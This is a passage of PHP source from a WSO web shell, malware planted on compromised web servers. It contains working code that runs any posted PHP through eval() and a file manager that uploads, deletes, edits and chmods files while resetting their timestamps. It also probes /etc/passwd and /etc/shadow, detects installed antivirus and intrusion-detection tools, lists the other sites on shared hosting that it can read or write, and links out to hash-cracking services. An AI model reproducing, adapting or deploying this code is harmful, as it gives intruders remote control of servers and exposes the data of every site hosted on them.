375 echo '<pre class=ml1>' . $v . '</pre>';
376 }
377 }
378 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
379 if(function_exists('apache_get_modules'))
380 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
381 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
382 wsoSecParam('Open base dir', @ini_get('open_basedir'));
383 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
384 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
385 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
386 $temp=array();
387 if(function_exists('mysql_get_client_info'))
388 $temp[] = "MySql (".mysql_get_client_info().")";
389 if(function_exists('mssql_connect'))
390 $temp[] = "MSSQL";
391 if(function_exists('pg_connect'))
392 $temp[] = "PostgreSQL";
393 if(function_exists('oci_connect'))
394 $temp[] = "Oracle";
395 wsoSecParam('Supported databases', implode(', ', $temp));
396 echo '<br>';
397
398 if($GLOBALS['os'] == 'nix') {
399 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
400 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
401 wsoSecParam('OS version', @file_get_contents('/proc/version'));
402 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
403 if(!$GLOBALS['safe_mode']) {
404 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
405 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
406 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
407 echo '<br>';
408 $temp=array();
409 foreach ($userful as $item)
410 if(wsoWhich($item))
411 $temp[] = $item;
412 wsoSecParam('Userful', implode(', ',$temp));
413 $temp=array();
414 foreach ($danger as $item)
415 if(wsoWhich($item))
416 $temp[] = $item;
417 wsoSecParam('Danger', implode(', ',$temp));
418 $temp=array();
419 foreach ($downloaders as $item)
420 if(wsoWhich($item))
421 $temp[] = $item;
422 wsoSecParam('Downloaders', implode(', ',$temp));
423 echo '<br/>';
424 wsoSecParam('HDD space', wsoEx('df -h'));
425 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
426 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
427 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
428 $temp = "";
429 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
430 $uid = @posix_getpwuid($_POST['p2']);
431 if ($uid)
432 $temp .= join(':',$uid)."\n";
433 }
434 echo '<br/>';
435 wsoSecParam('Users', $temp);
436 }
437 }
438 } else {
439 wsoSecParam('OS Version',wsoEx('ver'));
440 wsoSecParam('Account Settings',wsoEx('net accounts'));
441 wsoSecParam('User Accounts',wsoEx('net user'));
442 }
443 echo '</div>';
444 wsoFooter();
445}
446function actionPhp() {
447 if(isset($_POST['ajax'])) {
448 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
449 ob_start();
450 eval($_POST['p1']);
451 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
452 echo strlen($temp), "\n", $temp;
453 exit;
454 }
455 if(empty($_POST['ajax']) && !empty($_POST['p1']))
456 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
457
458 wsoHeader();
459 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
460 echo '<h1>PHP info</h1><div class=content><style>.p {color:#051019;}</style>';
461 ob_start();
462 phpinfo();
463 $tmp = ob_get_clean();
464 $tmp = preg_replace(array (
465 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
466 '!td, th {(.*)}!msiU',
467 '!<img[^>]+>!msiU',
468 ), array (
469 '',
470 '.e, .v, .h, .h th {$1}',
471 ''
472 ), $tmp);
473 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
474 }
475 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
476 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
477 if(!empty($_POST['p1'])) {
478 ob_start();
479 eval($_POST['p1']);
480 echo htmlspecialchars(ob_get_clean());
481 }
482 echo '</pre></div>';
483 wsoFooter();
484}
485function actionFilesMan() {
486 if (!empty ($_COOKIE['f']))
487 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
488
489 if(!empty($_POST['p1'])) {
490 switch($_POST['p1']) {
491 case 'uploadFile':
492 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
493 echo "Can't upload!";
494 break;
495 case 'mkdir':
496 if(!@mkdir($_POST['p2']))
497 echo "Can't create!";
498 break;
499 case 'delete':
500 function deleteDir($path) {
501 $path = (substr($path,-1)=='/') ? $path:$path.'/';
502 $dh = opendir($path);
503 while ( ($item = readdir($dh) ) !== false) {
504 $item = $path.$item;
505 if ( (basename($item) == "..") || (basename($item) == ".") )
506 continue;
507 $type = filetype($item);
508 if ($type == "dir")
509 deleteDir($item);
510 else
511 @unlink($item);
512 }
513 closedir($dh);
514 @rmdir($path);
515 }
516 if(is_array(@$_POST['f']))
517 foreach($_POST['f'] as $f) {
518 if($f == '..')
519 continue;
520 $f = urldecode($f);
521 if(is_dir($f))
522 deleteDir($f);
523 else
524 @unlink($f);
525 }
526 break;
527 case 'paste':
528 if($_COOKIE['act'] == 'copy') {
529 function copy_paste($c,$s,$d){
530 if(is_dir($c.$s)){
531 mkdir($d.$s);
532 $h = @opendir($c.$s);
533 while (($f = @readdir($h)) !== false)
534 if (($f != ".") and ($f != ".."))
535 copy_paste($c.$s.'/',$f, $d.$s.'/');
536 } elseif(is_file($c.$s))
537 @copy($c.$s, $d.$s);
538 }
539 foreach($_COOKIE['f'] as $f)
540 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
541 } elseif($_COOKIE['act'] == 'move') {
542 function move_paste($c,$s,$d){
543 if(is_dir($c.$s)){
544 mkdir($d.$s);
545 $h = @opendir($c.$s);
546 while (($f = @readdir($h)) !== false)
547 if (($f != ".") and ($f != ".."))
548 copy_paste($c.$s.'/',$f, $d.$s.'/');
549 } elseif(@is_file($c.$s))
550 @copy($c.$s, $d.$s);
551 }
552 foreach($_COOKIE['f'] as $f)
553 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
554 } elseif($_COOKIE['act'] == 'zip') {
555 if(class_exists('ZipArchive')) {
556 $zip = new ZipArchive();
557 if ($zip->open($_POST['p2'], 1)) {
558 chdir($_COOKIE['c']);
559 foreach($_COOKIE['f'] as $f) {
560 if($f == '..')
561 continue;
562 if(@is_file($_COOKIE['c'].$f))
563 $zip->addFile($_COOKIE['c'].$f, $f);
564 elseif(@is_dir($_COOKIE['c'].$f)) {
565 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
566 foreach ($iterator as $key=>$value) {
567 $zip->addFile(realpath($key), $key);
568 }
569 }
570 }
571 chdir($GLOBALS['cwd']);
572 $zip->close();
573 }
574 }
575 } elseif($_COOKIE['act'] == 'unzip') {
576 if(class_exists('ZipArchive')) {
577 $zip = new ZipArchive();
578 foreach($_COOKIE['f'] as $f) {
579 if($zip->open($_COOKIE['c'].$f)) {
580 $zip->extractTo($GLOBALS['cwd']);
581 $zip->close();
582 }
583 }
584 }
585 } elseif($_COOKIE['act'] == 'tar') {
586 chdir($_COOKIE['c']);
587 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
588 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
589 chdir($GLOBALS['cwd']);
590 }
591 unset($_COOKIE['f']);
592 setcookie('f', '', time() - 3600);
593 break;
594 default:
595 if(!empty($_POST['p1'])) {
596 WSOsetcookie('act', $_POST['p1']);
597 WSOsetcookie('f', serialize(@$_POST['f']));
598 WSOsetcookie('c', @$_POST['c']);
599 }
600 break;
601 }
602 }
603 wsoHeader();
604 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
605 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
606 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
607 global $sort;
608 $sort = array('name', 1);
609 if(!empty($_POST['p1'])) {
610 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
611 $sort = array($match[1], (int)$match[2]);
612 }
613echo "<script>
614 function sa() {
615 for(i=0;i<d.files.elements.length;i++)
616 if(d.files.elements[i].type == 'checkbox')
617 d.files.elements[i].checked = d.files.elements[0].checked;
618 }
619</script>
620<table width='100%' class='main' cellspacing='0' cellpadding='2'>
621<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
622 $dirs = $files = array();
623 $n = count($dirContent);
624 for($i=0;$i<$n;$i++) {
625 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
626 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
627 $tmp = array('name' => $dirContent[$i],
628 'path' => $GLOBALS['cwd'].$dirContent[$i],
629 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
630 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
631 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
632 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
633 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
634 );
635 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
636 $files[] = array_merge($tmp, array('type' => 'file'));
637 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
638 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
639 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
640 $dirs[] = array_merge($tmp, array('type' => 'dir'));
641 }
642 $GLOBALS['sort'] = $sort;
643 function wsoCmp($a, $b) {
644 if($GLOBALS['sort'][0] != 'size')
645 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
646 else
647 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
648 }
649 usort($files, "wsoCmp");
650 usort($dirs, "wsoCmp");
651 $files = array_merge($dirs, $files);
652 $l = 0;
653 foreach($files as $f) {
654 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
655 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
656 $l = $l?0:1;
657 }
658 echo "<tr><td colspan=7>
659 <input type=hidden name=a value='FilesMan'>
660 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
661 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
662 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
663 if(class_exists('ZipArchive'))
664 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
665 echo "<option value='tar'>Compress (tar.gz)</option>";
666 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
667 echo "<option value='paste'>Paste / Compress</option>";
668 echo "</select> ";
669 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
670 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
671 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
672 wsoFooter();
673}
674function actionStringTools() {
675 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
676 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
677 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
678 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
679 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
680 $stringTools = array(
681 'Base64 encode' => 'base64_encode',
682 'Base64 decode' => 'base64_decode',
683 'Url encode' => 'urlencode',
684 'Url decode' => 'urldecode',
685 'Full urlencode' => 'full_urlencode',
686 'md5 hash' => 'md5',
687 'sha1 hash' => 'sha1',
688 'crypt' => 'crypt',
689 'CRC32' => 'crc32',
690 'ASCII to HEX' => 'ascii2hex',
691 'HEX to ASCII' => 'hex2ascii',
692 'HEX to DEC' => 'hexdec',
693 'HEX to BIN' => 'hex2bin',
694 'DEC to HEX' => 'dechex',
695 'DEC to BIN' => 'decbin',
696 'BIN to HEX' => 'binhex',
697 'BIN to DEC' => 'bindec',
698 'String to lower case' => 'strtolower',
699 'String to upper case' => 'strtoupper',
700 'Htmlspecialchars' => 'htmlspecialchars',
701 'String length' => 'strlen',
702 );
703 if(isset($_POST['ajax'])) {
704 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
705 ob_start();
706 if(in_array($_POST['p1'], $stringTools))
707 echo $_POST['p1']($_POST['p2']);
708 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
709 echo strlen($temp), "\n", $temp;
710 exit;
711 }
712 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
713 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
714 wsoHeader();
715 echo '<h1>String conversions</h1><div class=content>';
716 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
717 foreach($stringTools as $k => $v)
718 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
719 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
720 if(!empty($_POST['p1'])) {
721 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
722 }
723 echo"</pre></div><br><h1>Search files:</h1><div class=content>
724 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
725 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
726 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
727 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
728 <tr><td></td><td><input type='submit' value='>>'></td></tr>
729 </table></form>";
730
731 function wsoRecursiveGlob($path) {
732 if(substr($path, -1) != '/')
733 $path.='/';
734 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
735 if(is_array($paths)&&@count($paths)) {
736 foreach($paths as $item) {
737 if(@is_dir($item)){
738 if($path!=$item)
739 wsoRecursiveGlob($item);
740 } else {
741 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
742 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
743 }
744 }
745 }
746 }
747 if(@$_POST['p3'])
748 wsoRecursiveGlob($_POST['c']);
749 echo "</div><br><h1>Search for hash:</h1><div class=content>
750 <form method='post' target='_blank' name='hf'>
751 <input type='text' name='hash' style='width:200px;'><br>
752 <input type='hidden' name='act' value='find'/>
753 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
754 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
755 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
756 </form></div>";
757 wsoFooter();
758}
759function actionJump(){
760 wsoHeader();
761 $i = 0;
762 $dir=$GLOBALS['der'];
763 if(!empty($GLOBALS['vrnDwONRSZ']) && !empty($GLOBALS['edlncdAkdwhs'])){
764 $hcwd = $GLOBALS['vrnDwONRSZ'].'='.$GLOBALS['edlncdAkdwhs'].'&';
765 }
766 echo "<form method=post>";
767 echo "<h1>Readables</h1><br>";
768 echo "<div class='margin: 5px auto;'>";
769 if(preg_match("/hsphere/", $dir)) {
770 $urls = explode("\r\n", $_POST['url']);
771 if(isset($_POST['jump'])) {
772 echo "<pre>";
773 foreach($urls as $url) {
774 $url = str_replace(array("http://","www."), "", strtolower($url));
775 $etc = "/etc/passwd";
776 $f = fopen($etc,"r");
777 while($gets = fgets($f)) {
778 $pecah = explode(":", $gets);
779 $user = $pecah[0];
780 $dir_user = "/hsphere/local/home/$user";
781 if(is_dir($dir_user) === true) {
782 $url_user = $dir_user."/".$url;
783 if(is_readable($url_user)) {
784 $i++;
785 $jrw = "[<font color=lime>R</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$url_user."'>$url_user</a></font>";
786 if(is_writable($url_user)) {
787 $jrw = "[<font color=lime>RW</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$url_user."'>$url_user</a></font>";
788 }
789 echo $jrw."<br>";
790 }
791 }
792 }
793 }
794 if($i == 0) {
795 } else {
796 echo "<br>There are/is ".$i." Website/s on this Webserver: ".gethostbyname($_SERVER['HTTP_HOST']);
797 }
798 echo "</pre>";
799 } else {
800 echo '<center>
801 List Domains: <br>
802 <textarea name="url" style="width: 500px; height: 250px;">';
803 $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
804 while($getss = fgets($fp)) {
805 echo $getss;
806 }
807 echo '</textarea><br>
808 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
809 </form></center>';
810 }
811 } elseif(preg_match("/vhosts/", $dir)) {
812 $urls = explode("\r\n", $_POST['url']);
813 if(isset($_POST['jump'])) {
814 echo "<pre>";
815 foreach($urls as $url) {
816 $web_vh = "/var/www/vhosts/$url/httpdocs";
817 if(is_dir($web_vh) === true) {
818 if(is_readable($web_vh)) {
819 $i++;
820 $jrw = "[<font color=lime>R</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$web_vh."'>$web_vh</a></font>";
821 if(is_writable($web_vh)) {
822 $jrw = "[<font color=lime>RW</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$web_vh."'>$web_vh</a></font>";
823 }
824 echo $jrw."<br>";
825 }
826 }
827 }
828 if($i == 0) {
829 } else {
830 echo "<br>There are/is ".$i." Website/s on this Webserver: ".gethostbyname($_SERVER['HTTP_HOST']);
831 }
832 echo "</pre>";
833 } else {
834 echo '<center>
835 <form method="post">
836 List Domains: <br>
837 <textarea name="url" style="width: 500px; height: 250px;">';
838 bing("ip:$ip");
839 echo '</textarea><br>
840 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
841 </form></center>';
842 }
843 } else {
844 echo "<pre>";
845 $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
846 while($passwd = fgets($etc)) {
847 if($passwd == '' || !$etc) {
848 echo "<font color=red>Can't read /etc/passwd</font>";
849 } else {
850 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
851 foreach($user_jumping[1] as $user_idx_jump) {
852 $user_jumping_dir = "/home/$user_idx_jump/public_html";
853 if(is_readable($user_jumping_dir)) {
854 $i++;
855 $jrw = "[<font color=lime>R</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$user_jumping_dir."'>$user_jumping_dir</a></font>";
856 if(is_writable($user_jumping_dir)) {
857 $jrw = "[<font color=lime>RW</font>]<font color=gold><a href='?".$hcwd."do=Jump"."&"."jump=".$user_jumping_dir."'>$user_jumping_dir</a></font>";
858 }
859 echo $jrw;
860 if(function_exists('posix_getpwuid')) {
861 $domain_jump = file_get_contents("/etc/named.conf");
862 if($domain_jump == '') {
863 echo " => ( <font color=red>Cant Resolve its Domain Name!</font> )<br>";
864 } else {
865 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
866 foreach($domains_jump[1] as $dj) {
867 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
868 $user_jumping_url = $user_jumping_url['name'];
869 if($user_jumping_url == $user_idx_jump) {
870 echo " => ( <u>$dj</u> )<br>";
871 break;
872 }
873 }
874 }
875 } else {
876 echo "<br>";
877 }
878 }
879 }
880 }
881 }
882 if($i == 0) {
883 } else {
884 echo "<br>There are/is ".$i." Website/s on this Webserver: ".gethostbyname($_SERVER['HTTP_HOST']);
885 }
886 echo "</pre>";
887 }
888 echo "</div>";
889 wsoFooter();
890}
891function actionFilesTools() {
892 if( isset($_POST['p1']) )
893 $_POST['p1'] = urldecode($_POST['p1']);
894 if(@$_POST['p2']=='download') {
895 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
896 ob_start("ob_gzhandler", 4096);
897 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
898 if (function_exists("mime_content_type")) {
899 $type = @mime_content_type($_POST['p1']);
900 header("Content-Type: " . $type);
901 } else
902 header("Content-Type: application/octet-stream");
903 $fp = @fopen($_POST['p1'], "r");
904 if($fp) {
905 while(!@feof($fp))
906 echo @fread($fp, 1024);
907 fclose($fp);
908 }
909 }exit;
910 }
911 if( @$_POST['p2'] == 'mkfile' ) {
912 if(!file_exists($_POST['p1'])) {
913 $fp = @fopen($_POST['p1'], 'w');
914 if($fp) {
915 $_POST['p2'] = "edit";
916 fclose($fp);
917 }
918 }
919 }
920 wsoHeader();
921 echo '<h1>File tools</h1><div class=content>';
922 if( !file_exists(@$_POST['p1']) ) {
923 echo 'File not exists';
924 wsoFooter();
925 return;
926 }
927 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
928 if(!$uid) {
929 $uid['name'] = @fileowner($_POST['p1']);
930 $gid['name'] = @filegroup($_POST['p1']);
931 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
932 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
933 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
934 if( empty($_POST['p2']) )
935 $_POST['p2'] = 'view';
936 if( is_file($_POST['p1']) )
937 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
938 else
939 $m = array('Chmod', 'Rename', 'Touch');
940 foreach($m as $v)
941 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
942 echo '<br><br>';
943 switch($_POST['p2']) {
944 case 'view':
945 echo '<pre class=ml1>';
946 $fp = @fopen($_POST['p1'], 'r');
947 if($fp) {
948 while( !@feof($fp) )
949 echo htmlspecialchars(@fread($fp, 1024));
950 @fclose($fp);
951 }
952 echo '</pre>';
953 break;
954 case 'highlight':
955 if( @is_readable($_POST['p1']) ) {
956 echo '<div class=ml1 style="background-color: #fff;color:green;">';
957 $code = @highlight_file($_POST['p1'],true);
958 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
959 }
960 break;
961 case 'chmod':
962 if( !empty($_POST['p3']) ) {
963 $perms = 0;
964 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
965 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
966 if(!@chmod($_POST['p1'], $perms))
967 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
968 }
969 clearstatcache();
970 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
971 break;
972 case 'edit':
973 if( !is_writable($_POST['p1'])) {
974 echo 'File isn\'t writeable';
975 break;
976 }
977 if( !empty($_POST['p3']) ) {
978 $time = @filemtime($_POST['p1']);
979 $_POST['p3'] = substr($_POST['p3'],1);
980 $fp = @fopen($_POST['p1'],"w");
981 if($fp) {
982 @fwrite($fp,$_POST['p3']);
983 @fclose($fp);
984 echo 'Saved!<br><script>p3_="";</script>';
985 @touch($_POST['p1'],$time,$time);
986 }
987 }
988 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
989 $fp = @fopen($_POST['p1'], 'r');
990 if($fp) {
991 while( !@feof($fp) )
992 echo htmlspecialchars(@fread($fp, 1024));
993 @fclose($fp);
994 }
995 echo '</textarea><input type=submit value=">>"></form>';
996 break;
997 case 'hexdump':
998 $c = @file_get_contents($_POST['p1']);
999 $n = 0;
1000 $h = array('00000000<br>','','');
1001 $len = strlen($c);
1002 for ($i=0; $i<$len; ++$i) {
1003 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1004 switch ( ord($c[$i]) ) {
1005 case 0: $h[2] .= ' '; break;
1006 case 9: $h[2] .= ' '; break;
1007 case 10: $h[2] .= ' '; break;
1008 case 13: $h[2] .= ' '; break;
1009 default: $h[2] .= $c[$i]; break;
1010 }
1011 $n++;
1012 if ($n == 32) {
1013 $n = 0;
1014 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1015 $h[1] .= '<br>';
1016 $h[2] .= "\n";
1017 }
1018 }
1019 echo '<table cellspacing=1 cellpadding=5 bgcolor=#051019><tr><td bgcolor=#051019><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#051019><pre>'.$h[1].'</pre></td><td bgcolor=#051019><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1020 break;
